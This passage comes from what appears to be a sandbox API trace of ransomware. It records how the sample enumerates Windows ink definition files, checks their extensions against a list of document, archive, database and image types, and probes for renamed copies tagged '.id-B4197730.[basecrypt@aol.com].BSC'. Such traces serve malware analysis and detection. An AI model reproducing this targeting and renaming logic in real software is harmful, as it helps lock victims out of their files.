Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0110.897] lstrlenW (lpString=".jpg") returned 4 [0110.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.897] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.897] lstrlenW (lpString="zh-dayi.xml") returned 11 [0110.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.348] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=11067) returned 1 [0111.348] CloseHandle (hObject=0x2f4) returned 1 [0111.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0111.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.348] lstrlenW (lpString=".doc") returned 4 [0111.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.348] lstrlenW (lpString=".docx") returned 5 [0111.349] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0111.349] lstrlenW (lpString=".pdf") returned 4 [0111.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.349] lstrlenW (lpString=".xls") returned 4 [0111.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.349] lstrlenW (lpString=".xlsx") returned 5 [0111.349] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0111.349] lstrlenW (lpString=".ppt") returned 4 [0111.349] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.349] lstrlenW (lpString=".zip") returned 4 [0111.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.349] lstrlenW (lpString=".rar") returned 4 [0111.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.349] lstrlenW (lpString=".bz2") returned 4 [0111.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.349] lstrlenW (lpString=".7z") returned 3 [0111.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.349] lstrlenW (lpString=".dbf") returned 4 [0111.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.349] lstrlenW (lpString=".1cd") returned 4 [0111.349] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.349] lstrlenW (lpString=".jpg") returned 4 [0111.349] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.350] lstrlenW (lpString=".doc") returned 4 [0111.350] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.350] lstrlenW (lpString=".docx") returned 5 [0111.350] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0111.350] lstrlenW (lpString=".pdf") returned 4 [0111.350] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.350] lstrlenW (lpString=".xls") returned 4 [0111.350] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.350] lstrlenW (lpString=".xlsx") returned 5 [0111.350] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0111.350] lstrlenW (lpString=".ppt") returned 4 [0111.350] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.350] lstrlenW (lpString=".zip") returned 4 [0111.350] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.350] lstrlenW (lpString=".rar") returned 4 [0111.350] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.350] lstrlenW (lpString=".bz2") returned 4 [0111.350] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.350] lstrlenW (lpString=".7z") returned 3 [0111.350] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.350] lstrlenW (lpString=".dbf") returned 4 [0111.350] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.351] lstrlenW (lpString=".1cd") returned 4 [0111.351] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0111.351] lstrlenW (lpString=".jpg") returned 4 [0111.351] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.351] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.351] lstrlenW (lpString="main.xml") returned 8 [0111.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.351] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=44506) returned 1 [0111.351] CloseHandle (hObject=0x2f4) returned 1 [0111.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0111.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.352] lstrlenW (lpString=".doc") returned 4 [0111.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.352] lstrlenW (lpString=".docx") returned 5 [0111.352] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0111.352] lstrlenW (lpString=".pdf") returned 4 [0111.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.352] lstrlenW (lpString=".xls") returned 4 [0111.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.352] lstrlenW (lpString=".xlsx") returned 5 [0111.352] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0111.352] lstrlenW (lpString=".ppt") returned 4 [0111.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.352] lstrlenW (lpString=".zip") returned 4 [0111.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.352] lstrlenW (lpString=".rar") returned 4 [0111.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString=".bz2") returned 4 [0111.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString=".7z") returned 3 [0111.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.353] lstrlenW (lpString=".dbf") returned 4 [0111.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.353] lstrlenW (lpString=".1cd") returned 4 [0111.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.353] lstrlenW (lpString=".jpg") returned 4 [0111.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.353] lstrlenW (lpString=".doc") returned 4 [0111.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString=".docx") returned 5 [0111.353] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0111.353] lstrlenW (lpString=".pdf") returned 4 [0111.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString=".xls") returned 4 [0111.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.353] lstrlenW (lpString=".xlsx") returned 5 [0111.354] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0111.354] lstrlenW (lpString=".ppt") returned 4 [0111.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.354] lstrlenW (lpString=".zip") returned 4 [0111.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.354] lstrlenW (lpString=".rar") returned 4 [0111.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.354] lstrlenW (lpString=".bz2") returned 4 [0111.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.354] lstrlenW (lpString=".7z") returned 3 [0111.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.354] lstrlenW (lpString=".dbf") returned 4 [0111.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.354] lstrlenW (lpString=".1cd") returned 4 [0111.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0111.354] lstrlenW (lpString=".jpg") returned 4 [0111.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.355] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.355] lstrlenW (lpString="oskclearuibase.xml") returned 18 [0111.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.564] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=737) returned 1 [0111.564] CloseHandle (hObject=0x2f4) returned 1 [0111.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0111.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.565] lstrlenW (lpString=".doc") returned 4 [0111.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".docx") returned 5 [0111.565] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.565] lstrlenW (lpString=".pdf") returned 4 [0111.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".xls") returned 4 [0111.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".xlsx") returned 5 [0111.565] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.565] lstrlenW (lpString=".ppt") returned 4 [0111.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.565] lstrlenW (lpString=".zip") returned 4 [0111.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.565] lstrlenW (lpString=".rar") returned 4 [0111.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".bz2") returned 4 [0111.565] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".7z") returned 3 [0111.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.566] lstrlenW (lpString=".dbf") returned 4 [0111.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.566] lstrlenW (lpString=".1cd") returned 4 [0111.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.566] lstrlenW (lpString=".jpg") returned 4 [0111.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.566] lstrlenW (lpString=".doc") returned 4 [0111.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString=".docx") returned 5 [0111.566] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.566] lstrlenW (lpString=".pdf") returned 4 [0111.566] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString=".xls") returned 4 [0111.566] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString=".xlsx") returned 5 [0111.566] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.566] lstrlenW (lpString=".ppt") returned 4 [0111.566] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.566] lstrlenW (lpString=".zip") returned 4 [0111.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.567] lstrlenW (lpString=".rar") returned 4 [0111.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.567] lstrlenW (lpString=".bz2") returned 4 [0111.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.567] lstrlenW (lpString=".7z") returned 3 [0111.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.567] lstrlenW (lpString=".dbf") returned 4 [0111.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.567] lstrlenW (lpString=".1cd") returned 4 [0111.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0111.567] lstrlenW (lpString=".jpg") returned 4 [0111.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.567] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.567] lstrlenW (lpString="oskmenu.xml") returned 11 [0111.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.594] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=215) returned 1 [0111.594] CloseHandle (hObject=0x2f4) returned 1 [0111.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0111.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.594] lstrlenW (lpString=".doc") returned 4 [0111.594] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.594] lstrlenW (lpString=".docx") returned 5 [0111.595] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0111.595] lstrlenW (lpString=".pdf") returned 4 [0111.595] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.595] lstrlenW (lpString=".xls") returned 4 [0111.595] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.595] lstrlenW (lpString=".xlsx") returned 5 [0111.595] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0111.595] lstrlenW (lpString=".ppt") returned 4 [0111.595] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.595] lstrlenW (lpString=".zip") returned 4 [0111.595] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.595] lstrlenW (lpString=".rar") returned 4 [0111.595] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.595] lstrlenW (lpString=".bz2") returned 4 [0111.595] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.595] lstrlenW (lpString=".7z") returned 3 [0111.595] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.595] lstrlenW (lpString=".dbf") returned 4 [0111.595] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.595] lstrlenW (lpString=".1cd") returned 4 [0111.595] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.595] lstrlenW (lpString=".jpg") returned 4 [0111.596] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.596] lstrlenW (lpString=".doc") returned 4 [0111.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.596] lstrlenW (lpString=".docx") returned 5 [0111.596] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0111.596] lstrlenW (lpString=".pdf") returned 4 [0111.596] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.596] lstrlenW (lpString=".xls") returned 4 [0111.596] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.596] lstrlenW (lpString=".xlsx") returned 5 [0111.596] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0111.596] lstrlenW (lpString=".ppt") returned 4 [0111.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.596] lstrlenW (lpString=".zip") returned 4 [0111.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.596] lstrlenW (lpString=".rar") returned 4 [0111.596] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.596] lstrlenW (lpString=".bz2") returned 4 [0111.596] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.596] lstrlenW (lpString=".7z") returned 3 [0111.596] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.597] lstrlenW (lpString=".dbf") returned 4 [0111.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.597] lstrlenW (lpString=".1cd") returned 4 [0111.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0111.597] lstrlenW (lpString=".jpg") returned 4 [0111.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.597] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.597] lstrlenW (lpString="osknav.xml") returned 10 [0111.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.602] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=213) returned 1 [0111.602] CloseHandle (hObject=0x2f4) returned 1 [0111.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0111.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.603] lstrlenW (lpString=".doc") returned 4 [0111.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.603] lstrlenW (lpString=".docx") returned 5 [0111.603] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0111.603] lstrlenW (lpString=".pdf") 